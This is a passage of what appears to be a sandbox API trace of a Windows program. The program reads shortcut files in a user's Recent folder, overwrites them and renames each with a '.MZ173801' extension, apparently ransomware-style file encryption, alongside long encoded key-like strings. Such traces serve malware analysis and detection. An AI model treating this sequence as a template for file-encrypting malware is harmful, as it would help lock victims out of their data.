lpWideCharStr="M0E4Q0JFQzNBQ0EzMzE0MjRDQ0FGODYwQzEzRTM1OTdDOThGQTIzOTA5NDc5NTRCMEFCMjEyODg1MkU4MUUwRTM4OUMxOTlGMDk0Q0Y4Njg0QzUwMEU5QUU4MzBGRjNGMzU5Q0JFODVFRkEyMUUzNkFEOUI0RTI5NEZFQkNCNDRDMkVBM0RDNjU2NENDMTA0OThCODBFQTBCOTc2RkIxQkFGNEVDRjQ4QjJFODVGQThERDVENDlGOEY1NjUxQkY3QUVDMzg4MUNDMTQ4M0NBOEVBQkU5N0MzNjgxM0ZEMkNCNDBGNkE0MERBRTcyRjJFNzAyRUFENEZDMkMzQjgzMkM0RUFGNzRBQUQzODI5RjkzRjkwOUU3NjdCOURCQjk0OTZCQjlCOEVCNDkzNkI3OUJDMzc3OUJENTdBNEI2NTE=", cchWideChar=428, lpMultiByteStr=0x78856c, cbMultiByte=428, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="M0E4Q0JFQzNBQ0EzMzE0MjRDQ0FGODYwQzEzRTM1OTdDOThGQTIzOTA5NDc5NTRCMEFCMjEyODg1MkU4MUUwRTM4OUMxOTlGMDk0Q0Y4Njg0QzUwMEU5QUU4MzBGRjNGMzU5Q0JFODVFRkEyMUUzNkFEOUI0RTI5NEZFQkNCNDRDMkVBM0RDNjU2NENDMTA0OThCODBFQTBCOTc2RkIxQkFGNEVDRjQ4QjJFODVGQThERDVENDlGOEY1NjUxQkY3QUVDMzg4MUNDMTQ4M0NBOEVBQkU5N0MzNjgxM0ZEMkNCNDBGNkE0MERBRTcyRjJFNzAyRUFENEZDMkMzQjgzMkM0RUFGNzRBQUQzODI5RjkzRjkwOUU3NjdCOURCQjk0OTZCQjlCOEVCNDkzNkI3OUJDMzc3OUJENTdBNEI2NTE=", lpUsedDefaultChar=0x0) returned 428 [0120.696] GetCurrentThreadId () returned 0x9fc [0120.696] GetCurrentThreadId () returned 0x9fc [0120.696] GetCurrentThreadId () returned 0x9fc [0120.696] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\4WaQPnQL8V4OHzH6IhlG.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\4waqpnql8v4ohzh6ihlg.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x288 [0120.696] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f984*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f984*=0) returned 0x0 [0120.696] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x0 [0120.696] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0xa89 [0120.696] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x0 [0120.696] ReadFile (in: hFile=0x288, lpBuffer=0x7a02a0, nNumberOfBytesToRead=0xa89, lpNumberOfBytesRead=0x18f990, lpOverlapped=0x0 | out: lpBuffer=0x7a02a0*, lpNumberOfBytesRead=0x18f990*=0xa89, lpOverlapped=0x0) returned 1 [0120.697] CloseHandle (hObject=0x288) returned 1 [0120.697] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\4WaQPnQL8V4OHzH6IhlG.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\4waqpnql8v4ohzh6ihlg.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x288 [0120.698] WriteFile (in: hFile=0x288, lpBuffer=0x7a22d0*, nNumberOfBytesToWrite=0xa89, lpNumberOfBytesWritten=0x18f99c, lpOverlapped=0x0 | out: lpBuffer=0x7a22d0*, lpNumberOfBytesWritten=0x18f99c*=0xa89, lpOverlapped=0x0) returned 1 [0120.699] CloseHandle (hObject=0x288) returned 1 [0120.700] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\4WaQPnQL8V4OHzH6IhlG.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\4waqpnql8v4ohzh6ihlg.lnk"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\4WaQPnQL8V4OHzH6IhlG.lnk.MZ173801" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\4waqpnql8v4ohzh6ihlg.lnk.mz173801")) returned 1 [0120.701] GetCurrentThreadId () returned 0x9fc [0120.701] GetCurrentThreadId () returned 0x9fc [0120.701] GetCurrentThreadId () returned 0x9fc [0120.701] GetCurrentThreadId () returned 0x9fc [0120.701] GetCurrentThreadId () returned 0x9fc [0120.701] GetCurrentThreadId () returned 0x9fc [0120.701] FindNextFileW (in: hFindFile=0x2fc680, lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdfc5d360, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xdfc5d360, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdfc5d360, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x20bf, dwReserved0=0x7a98342e, dwReserved1=0xa03bf443, cFileName="5luqXXleB0M8zozK.lnk", cAlternateFileName="5LUQXX~1.LNK")) returned 1 [0120.701] FileTimeToLocalFileTime (in: lpFileTime=0x18fadc, lpLocalFileTime=0x18fa3c | out: lpLocalFileTime=0x18fa3c) returned 1 [0120.701] FileTimeToDosDateTime (in: lpFileTime=0x18fa3c, lpFatDate=0x18faaa, lpFatTime=0x18faa8 | out: lpFatDate=0x18faaa, lpFatTime=0x18faa8) returned 1 [0120.702] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\5luqXXleB0M8zozK.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\5luqxxleb0m8zozk.lnk"), fInfoLevelId=0x0, lpFileInformation=0x18f9d0 | out: lpFileInformation=0x18f9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdfc5d360, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xdfc5d360, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdfc5d360, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x20bf)) returned 1 [0120.703] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1588 [0120.703] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x79079c, cbMultiByte=1588, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", lpUsedDefaultChar=0x0) returned 1588 [0120.704] GetCurrentThreadId () returned 0x9fc [0120.704] GetCurrentThreadId () returned 0x9fc [0120.704] GetCurrentThreadId () returned 0x9fc [0120.704] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="M0E4Q0JFQzNBQ0EzMzE0MjRDQ0FGODYwQzEzRTM1OTdDOThGQTIzOTA5NDc5NTRCMEFCMjEyODg1MkU4MUUwRTM4OUMxOTlGMDk0Q0Y4Njg0QzUwMEU5QUU4MzBGRjNGMzU5Q0JFODVFRkEyMUUzNkFEOUI0RTI5NEZFQkNCNDRDMkVBM0RDNjU2NENDMTA0OThCODBFQTBCOTc2RkIxQkFGNEVDRjQ4QjJFODVGQThERDVENDlGOEY1NjUxQkY3QUVDMzg4MUNDMTQ4M0NBOEVBQkU5N0MzNjgxM0ZEMkNCNDBGNkE0MERBRTcyRjJFNzAyRUFENEZDMkMzQjgzMkM0RUFGNzRBQUQzODI5RjkzRjkwOUU3NjdCOURCQjk0OTZCQjlCOEVCNDkzNkI3OUJDMzc3OUJENTdBNEI2NTE=", cchWideChar=428, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 428 [0120.704] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="M0E4Q0JFQzNBQ0EzMzE0MjRDQ0FGODYwQzEzRTM1OTdDOThGQTIzOTA5NDc5NTRCMEFCMjEyODg1MkU4MUUwRTM4OUMxOTlGMDk0Q0Y4Njg0QzUwMEU5QUU4MzBGRjNGMzU5Q0JFODVFRkEyMUUzNkFEOUI0RTI5NEZFQkNCNDRDMkVBM0RDNjU2NENDMTA0OThCODBFQTBCOTc2RkIxQkFGNEVDRjQ4QjJFODVGQThERDVENDlGOEY1NjUxQkY3QUVDMzg4MUNDMTQ4M0NBOEVBQkU5N0MzNjgxM0ZEMkNCNDBGNkE0MERBRTcyRjJFNzAyRUFENEZDMkMzQjgzMkM0RUFGNzRBQUQzODI5RjkzRjkwOUU3NjdCOURCQjk0OTZCQjlCOEVCNDkzNkI3OUJDMzc3OUJENTdBNEI2NTE=", cchWideChar=428, lpMultiByteStr=0x78856c, cbMultiByte=428, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="M0E4Q0JFQzNBQ0EzMzE0MjRDQ0FGODYwQzEzRTM1OTdDOThGQTIzOTA5NDc5NTRCMEFCMjEyODg1MkU4MUUwRTM4OUMxOTlGMDk0Q0Y4Njg0QzUwMEU5QUU4MzBGRjNGMzU5Q0JFODVFRkEyMUUzNkFEOUI0RTI5NEZFQkNCNDRDMkVBM0RDNjU2NENDMTA0OThCODBFQTBCOTc2RkIxQkFGNEVDRjQ4QjJFODVGQThERDVENDlGOEY1NjUxQkY3QUVDMzg4MUNDMTQ4M0NBOEVBQkU5N0MzNjgxM0ZEMkNCNDBGNkE0MERBRTcyRjJFNzAyRUFENEZDMkMzQjgzMkM0RUFGNzRBQUQzODI5RjkzRjkwOUU3NjdCOURCQjk0OTZCQjlCOEVCNDkzNkI3OUJDMzc3OUJENTdBNEI2NTE=", lpUsedDefaultChar=0x0) returned 428 [0120.704] GetCurrentThreadId () returned 0x9fc [0120.704] GetCurrentThreadId () returned 0x9fc [0120.704] GetCurrentThreadId () returned 0x9fc [0120.705] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\5luqXXleB0M8zozK.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\5luqxxleb0m8zozk.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x288 [0120.705] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f984*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f984*=0) returned 0x0 [0120.705] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x0 [0120.705] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x20bf [0120.705] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x0 [0120.705] ReadFile (in: hFile=0x288, lpBuffer=0x7a02a0, nNumberOfBytesToRead=0x20bf, lpNumberOfBytesRead=0x18f990, lpOverlapped=0x0 | out: lpBuffer=0x7a02a0*, lpNumberOfBytesRead=0x18f990*=0x20bf, lpOverlapped=0x0) returned 1 [0120.706] CloseHandle (hObject=0x288) returned 1 [0120.706] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\5luqXXleB0M8zozK.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\5luqxxleb0m8zozk.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x288 [0120.707] WriteFile (in: hFile=0x288, lpBuffer=0x733ed0*, nNumberOfBytesToWrite=0x20bf, lpNumberOfBytesWritten=0x18f99c, lpOverlapped=0x0 | out: lpBuffer=0x733ed0*, lpNumberOfBytesWritten=0x18f99c*=0x20bf, lpOverlapped=0x0) returned 1 [0120.708] CloseHandle (hObject=0x288) returned 1 [0120.716] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\5luqXXleB0M8zozK.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\5luqxxleb0m8zozk.lnk"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\5luqXXleB0M8zozK.lnk.MZ173801" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\5luqxxleb0m8zozk.lnk.mz173801")) returned 1 [0120.717] GetCurrentThreadId () returned 0x9fc [0120.717] GetCurrentThreadId () returned 0x9fc [0120.717] GetCurrentThreadId () returned 0x9fc [0120.717] GetCurrentThreadId () returned 0x9fc [0120.717] GetCurrentThreadId () returned 0x9fc [0120.717] GetCurrentThreadId () returned 0x9fc [0120.717] FindNextFileW (in: hFindFile=0x2fc680, lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xde821860, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xde821860, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xde821860, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x9f9, dwReserved0=0x7a98342e, dwReserved1=0xa03bf443, cFileName="6 1WCRQ4l39z0.flv.lnk", cAlternateFileName="61WCRQ~1.LNK")) returned 1 [0120.717] FileTimeToLocalFileTime (in: lpFileTime=0x18fadc, lpLocalFileTime=0x18fa3c | out: lpLocalFileTime=0x18fa3c) returned 1 [0120.717] FileTimeToDosDateTime (in: lpFileTime=0x18fa3c, lpFatDate=0x18faaa, lpFatTime=0x18faa8 | out: lpFatDate=0x18faaa, lpFatTime=0x18faa8) returned 1 [0120.718] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\6 1WCRQ4l39z0.flv.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\6 1wcrq4l39z0.flv.lnk"), fInfoLevelId=0x0, lpFileInformation=0x18f9d0 | out: lpFileInformation=0x18f9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xde821860, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xde821860, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xde821860, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x9f9)) returned 1 [0120.719] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x0, 